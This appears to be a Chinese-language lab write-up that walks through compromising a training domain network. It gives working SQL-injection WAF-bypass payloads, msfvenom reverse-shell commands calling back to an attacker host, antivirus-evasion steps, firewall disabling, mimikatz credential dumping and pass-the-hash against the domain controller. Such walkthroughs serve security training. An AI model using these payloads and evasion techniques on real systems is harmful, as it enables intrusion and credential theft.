暗月项目七-渗透测试带防御的内网域


渗透过程概述:
1、信息收集-->漏洞挖掘-->getshell
masscan 降低速度扫描端口,nmap详细扫描。先访问rebots.txt,得到siteserver目录,在编写目录扫描工具,搜索siteserver cms sql注入漏洞,获取管理员账号密码。或者密码找回漏洞(burp答案置空)获得密码。登陆后台,可通过 编辑文件(推荐)、上传模版、上传文件等功能getshell。
2、上线msf,PrintSpoofer1.exe 提权
其中 编辑文件,利用msfvenom 生成aspx payload,复制到文件并保存,然后访问该文件,msf获取session。getsystem提权。
或者上传模版 getshell,通过PrintSpoofer1.exe -i -c "r.exe" 提权 。(r.exe免杀处理)
3、内网渗透-->通达OA漏洞getshell-->上线msf-->控制dc
添加路由,设置代理,udp_sweep扫描内网,利用通达OA漏洞getshell,msf生成加密payload,掩日免杀payload,生成b.exe,蚁剑上传到OA主机,msf开启正向连接。
load kiwi ,creds_all ,hashdump,cmd5解密NTML哈希得到密码!@#QWEasd123。
steal_token 切换到域管理员权限,非系统权限。
生成免杀360的mimikatz,使用sekurlsa::pth /domain:attack /user:administrator /ntlm:a27156a11c9445385072376ed2715e92 未成功。
后续:有了 解密后的密码,远程登陆dc。
netsh advfirewall set allprofiles state off/on -----关闭防火墙
netsh advfirewall show allprofiles ----查看防火墙状态
1、信息收集
1.1 端口扫描
绑定hosts:192.168.1.114 www.moonlab.com
1.1.1 masscan 快速扫描端口
因为有安全狗,扫描速度降低到100
masscan -p 1-65535 --rate=100 192.168.1.114
1.1.2 nmap 扫描开放端口的详细信息
nmap -sC -sT -sV -A -O -Pn 192.168.1.114 -p 80,135,445,3389。。。
1.2 目录扫描
访问 http://www.moonlab.com/robots.txt 发现后台siteserver

1.2.1 第一种方式:编写目录扫描工具 过安全狗cc拦截
目录扫描,过安全狗cc拦截
# coding=utf-8
import requests
import time
with open("big.txt", "r", encoding='utf-8') as reader:
for dir in reader.readlines():
url = "http://www.moonlab.com/"+dir.strip('\n')
result = requests.get(url)
strlen = len(result.text)
time.sleep(0.4)
if result.status_code == 200 or result.status_code == 301 or result.status_code == 403 or result == 500:
print(url)
with open('dir.log', 'a+', encoding='utf-8') as writer:
writer.write(url + ' ----'+str(result.status_code) +
'----len ------' + str(strlen)+'\n')
1.2.2 第二种方式:dirble 扫描目录,会被安全狗拦截
dirble.exe -u http://www.moonlab.com/ -w "wordlist.txt" -z 1 --code-whitelist 200
2、漏洞挖掘【siteserver cms sql注入漏洞】
2.1 sql注入漏洞POC验证
https://github.com/johnniesong/w9scan/blob/master/plugins/2739.py 参考
http://www.moonlab.com/usercenter/platform/user.aspx?UnLock=sdfe%27&UserNameCollection=test%27)%20and%20char(71)%2Bchar(65)%2Bchar(79)%2Bchar(74)%2Bchar(73)%2B@@version=2;%20--
【char字符编码的是: gaoji 解码后 等价于--》
http://www.moonlab.com/usercenter/platform/user.aspx?UnLock=sdfe'&UserNameCollection=test') and char(71)+char(65)+char(79)+char(74)+char(73)+@@version=2; --
3、漏洞利用
3.1 sql注入漏洞exp,绕过安全狗,获取账号密码、盐
https://github.com/aleenzz/MSSQL_SQL_BYPASS_WIKI 参考绕过安全狗
http://www.moonlab.com/usercenter/platform/user.aspx?UnLock=sdfe'&UserNameCollection=test') and db_name()=2; --
======失败。用取反运算符~2,成功拿到数据库名 moonlab======
http://www.moonlab.com/usercenter/platform/user.aspx?UnLock=sdfe'&UserNameCollection=test') and db_name()=~2; --
-------------------------------------------------------------------
搜索得到 siteserver cms表结构。。。
http://www.moonlab.com/usercenter/platform/user.aspx?UnLock=sdfe'&UserNameCollection=test') and (select top 1 username from [bairong_Administrator])=~2; --
失败,被安全狗拦截。尝试把~2放前面,成功绕过。
注意 表名需要[ ] 括号
http://www.moonlab.com/usercenter/platform/user.aspx?UnLock=sdfe'&UserNameCollection=test') and ~2=(select top 1 username from [bairong_Administrator]); --
同理得到 Password 、PasswordSalt:
admin
64Cic1ERUP9n2OzxuKl9Tw==
LIywB/zHFDTuEA1LU53Opg==
3.2 第一种:反编译dll,解密Password
解密password
public void DesDecrypt()
{
byte[] rgbIV = new byte[]
{
18,
52,
86,
120,
144,
171,
205,
239
};
byte[] array = new byte[this.InputString.Length];
try
{
byte[] bytes = Encoding.UTF8.GetBytes(this.DecryptKey.Substring(0, 8));
DESCryptoServiceProvider descryptoServiceProvider = new DESCryptoServiceProvider();
array = Convert.FromBase64String(this.InputString);
MemoryStream memoryStream = new MemoryStream();
if (!false)
{
}
CryptoStream cryptoStream = new CryptoStream(memoryStream, descryptoServiceProvider.CreateDecryptor(bytes, rgbIV), CryptoStreamMode.Write);
cryptoStream.Write(array, 0, array.Length);
cryptoStream.FlushFinalBlock();
Encoding encoding = new UTF8Encoding();
this.OutputString = encoding.GetString(memoryStream.ToArray());
}
catch (Exception ex)
{
// ex.Message;
}
}
3.3 第二种:后台登陆页,密码找回漏洞,获取密码
http://www.moonlab.com/siteserver/forgetPassword.aspx
把Answer置空,即可暴露密码。。。(全版本通杀)

3.4 登录后台getshell
3.4.1 登录后台
http://www.moonlab.com/siteserver admin admin5566
3.4.2 getshell的4种方式
用 过狗菜刀、蚁剑连接
3.4.2.1 第一种:编辑站点文件 getshell (成功绕过安全狗和windows defender)
3.4.2.1.1 msf生成aspx shellcode,保存到站点 aspx文件
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.102 lport=12345 -f aspx > shell.aspx


3.4.2.1.2 访问 http://www.moonlab.com/T_xxx.aspx 成功上线msf

3.4.2.2 第二种:上传模版,自动解压 getshell
导入一句话木马文件压缩包,上传后自动解压:
http://www.moonlab.com/SiteFiles/SiteTemplates/c32as/c32as.aspx c32as
(过狗了,但被windows defender查杀了。)

3.4.2.3 第三种:新建文件 getshell
站点管理 --》功能管理 --》站点文件管理
http://www.moonlab.com/1.aspx c32as (windows defender查杀)

3.4.2.4 第四种:上传文件,被安全狗拦截
4、提权
【成功之后,尽快关闭防火墙及杀软等防护软件】
4.1 第一种:aspx shellcode getsystem 提权
访问 http://www.moonlab.com/T_xxx.aspx 成功上线msf,提权


4.2 第二种:PrintSpoofer1.exe 提权 windows server 2016
蚁剑上传PrintSpoofer1到Temp目录 (windows defender查杀 r.exe)
C:\Windows\Temp> PrintSpoofer1.exe -i -c "r.exe"
4.2.1 制作免杀后门,msf 生成加密payload
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.102 lport=12345 -e x86/shikata_ga_nai -i 13 -f csharp > payload.txt
4.2.2 掩日生成免杀 r.exe
执行方式 选VirtualProtect 比较合适

4.2.3 执行r.exe,上线msf
C:\Windows\Temp> PrintSpoofer1.exe -i -c "r.exe"
得到 系统权限
4.3 关闭杀软和防火墙
netsh advfirewall show allprofiles ----查看防火墙状态
netsh advfirewall set allprofiles state off / on ------关闭 / 打开 防火墙
4.4 收集hash明文
meterpreter > run post/windows/gather/enum_logged_on_users
meterpreter > load kiwi
meterpreter > creds_all


5、内网渗透
5.1 主机发现
5.1.1 添加路由
meterpreter > run post/multi/manage/autoroute
msf6 exploit(multi/handler) > route print
5.1.2 第一种:msf6 exploit(multi/handler) > use auxiliary/scanner/discovery/udp_sweep

5.1.2 第二种:meterpreter > arp

5.2 设置代理
use auxiliary/server/socks5a
set SRVPORT 3333
run
vi /etc/proxychains.conf
socks5 192.168.0.122 3333
5.3 信息收集
5.3.1 端口扫描
proxychains masscan -p 1-65535 10.10.1.130 --rate=1000
proxychains nmap -sT -Pn 10.10.1.130 -p 135,445,80
5.3.2 收集通达OA漏洞信息
5.4 利用通达OA漏洞 getshell
5.4.1 利用tongda_exp.py在服务器上生成小马
proxychains python tongda_exp.py -H http://10.10.1.130 -file-shell
生成小马地址:
http://10.10.1.130/ispirit/interface/xiaoma.php cmd
5.4.2 蚁剑设置kali的代理,连接小马getshell
虚拟终端>whoami 得到系统权限,即OA是以系统权限启动的。
5.4.3 netsh advfirewall 命令关闭防火墙
netsh advfirewall set allprofiles state off
5.5 免杀360,上线msf,提权
5.5.1 msf 生成正向连接的加密payload
msfvenom -p windows/meterpreter/bind_tcp lport=12345 -e x86/shikata_ga_nai -i 13 -f csharp > payload2.txt
5.5.2 掩日生成后门b.exe,蚁剑上传执行后门
5.5.3 msf 正向连接到OA主机,得到system权限

5.6 system 权限,获取管理员hash明文失败
load kiwi
creds_all -------获取不到密码

5.7 steal_token 窃取域管理员令牌,获取域用户hash,并解密

2b7ae0a2bdbccc47309952de3b2fe82c
解密NTML得到 !@#QWEasd123..
3f37aede0b8a007bbb1d26ba03f65595

5.8 登陆远程桌面,关闭杀软和防火墙
proxychains rdesktop 10.10.1.130 !@#QWEasd123
6、横向移动【域控渗透】
6.1 添加路由,主机发现,信息收集
6.1.1 定位域控
meterpreter > run post/windows/gather/enum_domain
6.1.2 域信息收集
enum_logged_on_users 登录的用户
enum_ad_groups 组信息
6.1.3 端口扫描
6.2 利用OA主机 meterpreter,访问dc磁盘文件
前提:steal_token 令牌窃取,切到域管理员权限
(meterpreter > rev2self 恢复到system权限)
(at 定时任务命令在2008以下好使。2016不好使。)

6.3 mimikatz 登陆域控
6.3.1 mimikatz 免杀360
E:\web\bachang\moon\7\资料\Mimikatz-Csharp-master\README.md

6.3.1.1 先生成 key.snk, powershell 分步执行上面3行内容

6.3.1.2 利用key.snk,编译katz.cs,生成 regsvcs.dll
C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /r:System.EnterpriseServices.dll /r:System.IO.Compression.dll /target:library /out:regsvcs.dll /keyfile:key.snk /unsafe katz.cs
6.3.1.3 上传 regsvcs.dll 到temp目录 并执行
c:\Windows\Temp>C:\Windows\Microsoft.NET\Framework64\v4.0.30319\regsvcs.exe regsvcs.dll

privilege::debug 提升权限
sekurlsa::msv 抓取hash
sekurlsa::LogonPasswords
后面似乎不对。。。(都拿不到,注意 要steal_token 切到域管理员权限,非系统权限)


6.3.2 pth 登陆域控
sekurlsa::pth /domian:要攻击的ip /user: 相同的用户名 /ntlm: NTLM哈希
sekurlsa::pth /domain:域控名 /user:相同的用户名 /ntlm:NTLM哈希
sekurlsa::pth /domain:attack /user:administrator /ntlm:a27156a11c9445385072376ed2715e92




浙公网安备 33010602011771号